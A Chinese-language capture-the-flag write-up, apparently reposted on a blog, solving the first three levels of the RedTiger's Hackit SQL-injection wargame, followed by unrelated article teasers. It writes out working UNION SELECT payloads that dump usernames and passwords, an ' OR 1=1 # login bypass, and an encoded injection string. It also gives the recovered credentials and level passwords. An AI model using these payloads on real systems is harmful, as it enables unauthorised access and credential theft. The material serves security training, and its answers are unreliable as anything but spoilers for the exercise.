RedTiger‘s Hackit

本文相关的ctf平台链接:RedTiger's Hackit (overthewire.org)

level 1

这里有个1可以点,先尝试点一下

因为这题是sql注入,cat应该就是注入点了

先判断注入类型

?cat=1 and 1=1
?cat=1 and 1=2

数字型注入

再判断列数

1 order by 4 --+

 

 接下来判断数据显示点

?cat=1 union select 1,2,3,4 from level1_users --+

这里可以直接爆破用户名和密码(之前还一步步走,但发现不通)

?cat=1 union select 1,2,username,password from level1_users --+

Hornoxe
thatwaseasy 

完成 

passwords_will_change_over_time_let_us_do_a_shitty_rhyme

level 2

万能密码秒了

1
' OR 1=1 #
//这里--+无法成功

feed_the_cat_who_eats_your_bread

level 3

开始没什么思路,就开始瞎传了,没想到发现路径了

?usr[]=0

 访问/urlcrypt.inc

 源代码:

<?php// warning! ugly code ahead :)// requires php5.x, sorry for thatfunction encrypt($str){$cryptedstr = "";srand(3284724);for ($i =0; $i < strlen($str); $i++){$temp = ord(substr($str,$i,1)) ^ rand(0, 255);while(strlen($temp)<3){$temp = "0".$temp;}$cryptedstr .= $temp. "";}return base64_encode($cryptedstr);}function decrypt ($str){srand(3284724);if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)){$str = base64_decode($str);if ($str != "" && $str != null && $str != false){$decStr = "";for ($i=0; $i < strlen($str); $i+=3){$array[$i/3] = substr($str,$i,3);}foreach($array as $s){$a = $s ^ rand(0, 255);$decStr .= chr($a);}return $decStr;}return false;}return false;}
?>
  1. encrypt 函数接受一个字符串作为参数,然后对该字符串进行加密。它将字符串中的每个字符与一个随机生成的 0 到 255 之间的整数进行异或操作,然后将结果转换为三位的字符串。最后,将所有加密后的字符串连接起来,然后进行 Base64 编码,返回加密后的结果。

  2. decrypt 函数接受一个经过加密的字符串作为参数,然后对其进行解密。首先,它会检查字符串是否符合 Base64 编码的格式。如果符合,就对字符串进行解码。然后,它将解码后的字符串每三个字符切割成一个数组元素。接着,对数组中的每个元素执行异或操作,与之前加密时使用的相同随机数进行异或,然后将结果转换为字符,并连接起来,得到解密后的结果。

 直接写sql注入然后加密再传过去就可以了

这里window解码会乱码,linux可以但是8.2版本的太高了

所以就直接给答案了

参考writeup--RedTiger's Hackit-CSDN博客

?str=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw

 admin

thisisaverysecurepasswordEEE5rt

put_the_kitten_on_your_head 

未完待续!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/725541.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue深度教程

一、Vue简介 1.简介 2.快速上手 二、基础 1.创建一个Vue应用 2.模板语法 3.响应式基础 4.计算属性 5.Class与 Style绑定 6.条件渲染 7.列表渲染 8.事件处理 9.表单输入绑定 10.生命周期钩子 11.侦听器 12.模板引用 13.组件基础 三、深入组件 1.组件注册 2.Props 3.组件事件 …

css补充(上)

有关字体 1.所有有关字体的样式都会被继承 div {font-size: 30px;}<span>777</span> <div>123<p>456</p> </div>span中777是默认大小16px div设置了30px p作为div的后代继承了字体样式也是30px 2.字体颜色 div{color: red;border: 1px …

【VTKExamples::PolyData】第四十九期 Silhouette

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享VTK样例Silhouette,并解析接口vtkPolyDataSilhouette,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 1. Silhouett…

RocketMQ架构详解

文章目录 概述RocketMQ架构Broker 高可用集群刷盘策略 概述 RocketMQ一个纯java、分布式、队列模型的开源消息中间件&#xff0c;前身是MetaQ&#xff0c;是阿里研发的一个队列模型的消息中间件&#xff0c;后开源给apache基金会成为了apache的顶级开源项目&#xff0c;具有高…

QT计算两个日期之间的月份数

数据库中单表数据存储量过大时&#xff0c;会造成数据库的查询统计速度变慢&#xff0c;因此需将单表数据拆分存储到按年月命名的多张数据表中。解决思路是获取单表中的最小时间和最大时间&#xff0c;然后计算两个时间中的月份数量&#xff0c;最后根据开始年月循环算出所有需…

软件测试的基本概念

目录 1.测试需求 2.测试用例的概念 3.bug 4.软件生命周期 4.1需求分析 4.2计划 4.3编码 4.4测试 4.5运行维护 5.测试模型 5.1敏捷开发模型 5.2scrume 5.3测试模型 5.4w模型(双v模型) 6.软件测试的生命周期 7.BUG的描述和定义 8.如何定义bug的级别 9.BUG的…

机器学习——线性回归

机器学习——线性回归 文章目录 机器学习——线性回归一、什么是线性回归二、一元线性回归方程三、损失函数四、代码实现五、运用说明 一、什么是线性回归 线性回归是一种用来建立自变量和因变量之间线性关系的统计分析方法&#xff0c;也是机器学习中最常见、最容易理解的一个…

Java面试篇【RabbitMQ】常见面试题(2024最新)

RabbitMQ 1.为什么使用MQ?优点是什么 因为MQ可以异步处理&#xff0c;提高系统吞吐量。 应用解耦&#xff0c;系统之间可以通过消息通信&#xff0c;不关心其他系统的处理。 流量削峰&#xff0c;可以通过消息队列的长度&#xff0c;控制请求量。可以缓解短时间内的高并发请…

无线电信号及其分类

有线与无线通信 通信&#xff1a;指信息的交流与传递。 有线通信&#xff1a;用导向性传输媒体&#xff0c;即信息流沿着固体媒体传播。 例如电报、座机都是沿导线传送信号。 无线通信&#xff1a;用非导向性传输媒体&#xff0c;即在自由空间中被传播。分为红外线、电磁波等…

【Mysql】InnoDB 中的聚簇索引、二级索引、联合索引

一、聚簇索引 其实之前内容中介绍的 B 树就是聚簇索引。 这种索引不需要我们显示地使用 INDEX 语句去创建&#xff0c;InnoDB 引擎会自动创建。另外&#xff0c;在 InnoDB 引擎中&#xff0c;聚簇索引就是数据的存储方式。 它有 2 个特点&#xff1a; 特点 1 使用记录主键…

如何恢复已删除的华为手机图片?5 种方式分享

不幸的现实是&#xff0c;华为的珍贵时刻有时会因为意外删除、软件故障或其他不可预见的情况而在眨眼之间消失。在这种情况下&#xff0c;寻求恢复已删除的图片成为个人迫切关心的问题。 本文旨在为用户提供如何从华为恢复已删除图片的实用解决方案。我们将探索五种可行的方法…

光线追踪5- Surface normals and multiple objects

首先&#xff0c;让我们获取一个表面法线&#xff0c;以便进行着色。这是一个垂直于交点处表面的向量。在我们的代码中&#xff0c;我们需要做一个重要的设计决定&#xff1a;法线向量是否为任意长度&#xff0c;还是将其归一化为单位长度。 诱人的是&#xff0c;如果不…

视频远程监控平台EasyCVR集成后播放只有一帧画面的原因排查与解决

智慧安防视频监控平台EasyCVR能在复杂的网络环境中&#xff08;专网、局域网、广域网、VPN、公网等&#xff09;将前端海量的设备进行统一集中接入与视频汇聚管理&#xff0c;平台可支持的接入协议包括&#xff1a;国标GB28181、RTSP/Onvif、RTMP&#xff0c;以及厂家的私有协议…

【STM32下UART协议的一些认识与使用方法】

STM32下UART协议的一些认识与使用方法 串口定义通用串行异步收发器 协议中相关的概念空闲位起始位数据位奇偶校验位三种校验方式BT接收数据的流程 停止位波特率总结 UART的三种工作方式UART控制器发送数据流程接收数据流程 UART初始化UART相关结构体和库函数 串口定义 通用串行…

揭秘共享旅游卡项目变现的6种方式,至少有4种适合创业者!

最近每天都有不少的朋友添加我&#xff0c;多数人会问一个问题&#xff0c;共享旅游卡这个项目好不好做&#xff1f;还有部分朋友会问&#xff0c;共享旅游卡有没有市场&#xff0c;是不是有我们所宣传的这样乐观&#xff1f; 从过年前开始&#xff0c;我一直在关注咱们共享旅…

基于Spring Boot + Vue的信息化在线教学平台

末尾获取源码作者介绍&#xff1a;大家好&#xff0c;我是墨韵&#xff0c;本人4年开发经验&#xff0c;专注定制项目开发 更多项目&#xff1a;CSDN主页YAML墨韵 学如逆水行舟&#xff0c;不进则退。学习如赶路&#xff0c;不能慢一步。 目录 一、项目简介 二、开发技术与环…

事务 失效的八种情况

在某些业务场景下&#xff0c;如果一个请求中&#xff0c;需要同时写入多张表的数据。为了保证操作的原子性&#xff08;要么同时成功&#xff0c;要么同时失败&#xff09;&#xff0c;避免数据不一致的情况&#xff0c;我们一般都会用到 spring 事务。 确实&#xff0c;sprin…

Android视角看鸿蒙第一课(工程目录)

Android视角看鸿蒙第一课&#xff08;工程目录&#xff09; 导读 鸿蒙马上就来了&#xff0c;这个工作很有可能落到Android开发的头上&#xff0c;既是机遇也是挑战&#xff0c;希望能跟上时代的浪潮&#xff0c;迫不得已开始学习鸿蒙开发&#xff0c;顺带分享记录下 我的学…

【python】对角线遍历

python系列文章目录 【python】基于cv2提取图片上的文本内容 【python】简单作图 【python】数组字符串等实用 【python】sort与sorted排序使用 【python】对角线遍历 python系列文章目录说明1.分析2.注意事项2.1 遍历2.2 区间2.3 顺序 3.代码实现 说明 给你一个大小为 m x n…

Java方法重载

重载 概念 重载就是在一个类中&#xff0c;有相同的函数名&#xff0c;但形参不同的函数 规则 方法名称必须相同参数列表必须不同&#xff08;个数不同、或类型不同、参数排列顺序不同等&#xff09;方法的返回值类型可以相同也可以不同仅仅返回类型不同不足以成为方法的重载 实…